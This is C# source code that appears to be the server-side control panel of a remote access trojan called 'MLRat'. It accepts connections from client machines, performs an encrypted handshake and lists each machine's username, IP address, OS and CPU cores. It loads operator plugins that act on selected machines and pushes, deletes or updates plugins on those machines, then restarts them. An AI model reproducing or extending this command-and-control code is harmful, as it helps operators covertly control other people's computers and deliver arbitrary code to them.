void LoadPlugin(string path) { MLPlugin _plugin = null; try { byte[] PluginBytes = File.ReadAllBytes(path); _plugin = new MLPlugin(PluginBytes); if (!_plugin.Load()) { throw new Exception("Failed to load plugin"); } if (_plugin.ClientPluginID == Guid.Empty) { throw new Exception("Invalid plugin ID"); } if (LoadedPlugins.ContainsKey(_plugin.ClientPluginID)) { throw new Exception("Client plugin ID match"); } pluginDisplay _display = new pluginDisplay(_plugin); _display.Parent = pluginPanel; _display.Width = pluginPanel.Width; _display.Anchor = AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top; _display.Location = new Point(0, LoadedPlugins.Count * _display.Height); pluginPanel.Controls.Add(_display); LoadedPlugins.Add(_plugin.ClientPluginID, _plugin); Console.WriteLine("Loaded plugin: {0}", _plugin.ClientPluginID.ToString("n")); _plugin.ServerPlugin.OnPluginLoad(new MLUiHost(_plugin, OncontextAdd, OnColumnAdd, getImage, LogText)); } catch (Exception ex) { DisplayException(_plugin, ex); } }
void AddSingleContext(MLPlugin _plugin, MLRatContextEntry entry) { ToolStripMenuItem _baseItem = new ToolStripMenuItem(); Image toolstripIcon = getImage(entry.Icon); if (toolstripIcon != null) { _baseItem.Image = toolstripIcon; } _baseItem.Text = entry.Text; _baseItem.Tag = new MLContextData() { Plugin = _plugin, ContextData = entry }; if (entry.OnClick != null) { _baseItem.Click += ContextMenu_Click; } if (entry.SubMenus != null) { foreach (var subentry in entry.SubMenus) { AddMenuItem(_plugin, _baseItem, subentry); } } ClientContextStrip.Items.Add(_baseItem); }
void AddMenuItem(MLPlugin _plugin, ToolStripMenuItem parent, MLRatContextEntry entry) { ToolStripMenuItem _menu = new ToolStripMenuItem(); Image toolstripIcon = getImage(entry.Icon); if (toolstripIcon != null) { _menu.Image = toolstripIcon; } _menu.Text = entry.Text; _menu.Tag = new MLContextData() { Plugin = _plugin, ContextData = entry }; if (entry.OnClick != null) { _menu.Click += ContextMenu_Click; } if (entry.SubMenus != null) { foreach (var subentrys in entry.SubMenus) { AddMenuItem(_plugin, _menu, subentrys); } } parent.DropDownItems.Add(_menu); }
void OncontextAdd(MLPlugin _plugin, MLRatContextEntry[] entry) { foreach (MLRatContextEntry contextentry in entry) { AddSingleContext(_plugin, contextentry); } }
IMLRatColumn OnColumnAdd(MLPlugin _plugin, string name, string defaultValue) { lock (this) { MLRatColumn column = new MLRatColumn(OnColumnUpdate); column.Parent = _plugin; ColumnHeader header = clientList.Columns.Add(name); column.Index = header.Index; header.Tag = defaultValue; Invoke((MethodInvoker) delegate() { foreach (ListViewItem clientItem in clientList.Items) { foreach (ColumnHeader cheader in clientList.Columns) { if (clientItem.SubItems.Count == header.Index) { clientItem.SubItems.Add((string)header.Tag); } } } }); Console.WriteLine("Added column: {0}", name); return(column); } }
void LogText(MLPlugin plugin, string text, Color c) { try { rtbPluginLog.LogText(string.Format("[{0}] ", plugin.PluginInfomation.PluginName) + text, c); } catch (Exception ex) { DisplayException(plugin, ex); } }
void DisplayException(MLPlugin plugin, Exception ex) { if (plugin != null && plugin.PluginInfomation != null) { rtbPluginLog.LogText(string.Format("[{0}] {1}", plugin.ServerPlugin, ex.Message), Color.Red); //Console.WriteLine("{0}: {1}", plugin.ClientPluginID, ex.ToString()); } else { rtbPluginLog.LogText(ex.Message, Color.Red); } }
void OnColumnUpdate(MLRatColumn sender, MLPlugin plugin, IClient client, string value) { try { MLClientData d = ConnectedClients[client.ID]; ListViewItem i = (ListViewItem)d.DisplayObject; EditSubitem(i, sender.Index, value); } catch (Exception ex) { DisplayException(plugin, ex); } }
void ContextMenu_Click(object sender, EventArgs e) { MLPlugin plugin = null; try { ToolStripMenuItem _menu = (ToolStripMenuItem) sender; MLContextData _entry = (MLContextData)_menu.Tag; plugin = _entry.Plugin; _entry.ContextData.OnClick(SelectedClients(plugin)); } catch(Exception ex) { DisplayException(plugin, ex); } }
IClient[] SelectedClients(MLPlugin _plugin) { List<IClient> _selectedClients = new List<IClient>(); foreach (ListViewItem i in clientList.SelectedItems) { try { this.Invoke((MethodInvoker) delegate() { MLClientData _client = (MLClientData) i.Tag; _selectedClients.Add(new MLClient(_client.ID, _plugin.ClientPluginID, _client)); }); } catch(Exception ex) { DisplayException(_plugin, ex); } } return _selectedClients.ToArray(); }
void NetworkServer_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { lock (client) { try { MLClientData _ClientData = (MLClientData)client.Tag; Guid PluginID = (Guid)data[0]; if (PluginID == Guid.Empty) { NetworkPacket command = (NetworkPacket)data[1]; Debug.WriteLine(command, "Command"); if (!_ClientData.Handshaken) { if (command == NetworkPacket.Handshake) { _ClientData.Handshaken = true; _ClientData.Encryption.GenerateRandomKey(); client.Send(Guid.Empty, (byte)NetworkPacket.Connect, _ClientData.Encryption.Key); _ClientData.Encryption.Enabled = true; return; } return; } if (command == NetworkPacket.BasicSettingsUpdated) { Debug.WriteLine("Basic settings updated", "Settings"); ListViewItem i = new ListViewItem(_ClientData.Settings.GetSetting <string>("Username", "Default")); i.Tag = _ClientData; i.SubItems.Add(client.NetworkSocket.RemoteEndPoint.ToString()); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("OS", "WinX Lollypop (Unknowen)")); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("Cores", "0")); _ClientData.DisplayObject = i; AddListview(i); foreach (var plugin in LoadedPlugins) { try { plugin.Value.ServerPlugin.OnClientConnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData)); } catch (Exception ex) { DisplayException(plugin.Value, ex); } } } if (command == NetworkPacket.UpdateSetting) { string settingName = (string)data[2]; object value = data[3]; _ClientData.Settings.UpdateSetting(settingName, value); Debug.WriteLine(string.Format("Updated {0}", settingName), "Settings"); } if (command == NetworkPacket.UpdateSettingsDictionary) { var settings = (Dictionary <string, object>)data[2]; foreach (var dcItem in settings) { _ClientData.Settings.UpdateSetting(dcItem.Key, dcItem.Value); } } #region " Plugin Checksum " if (command == NetworkPacket.Checksums) { bool Updated = false; Dictionary <Guid, string> Checksums = (Dictionary <Guid, string>)data[2]; if (Checksums == null) { foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } return; } foreach (var plugin in Checksums) { Guid ID = plugin.Key; string checksum = plugin.Value; if (!LoadedPlugins.ContainsKey(ID)) { client.Send(Guid.Empty, (byte)NetworkPacket.DeletePlugin, ID); Updated = true; continue; } if (LoadedPlugins[ID].ClientPluginChecksum != checksum) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; MLPlugin PluginData = plugin.Value; if (!Checksums.ContainsKey(ID)) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } if (Updated) { client.Send(Guid.Empty, (byte)NetworkPacket.Restart); } else { client.Send(Guid.Empty, (byte)NetworkPacket.PluginsVerified); } _ClientData.PluginsVerified = true; } #endregion return; } if (LoadedPlugins.ContainsKey(PluginID)) { LoadedPlugins[PluginID].ServerPlugin.OnDataRetrieved(new MLClient(_ClientData.ID, PluginID, _ClientData), (object[])data[1]); } } catch (Exception ex) { DisplayException(null, ex); } } }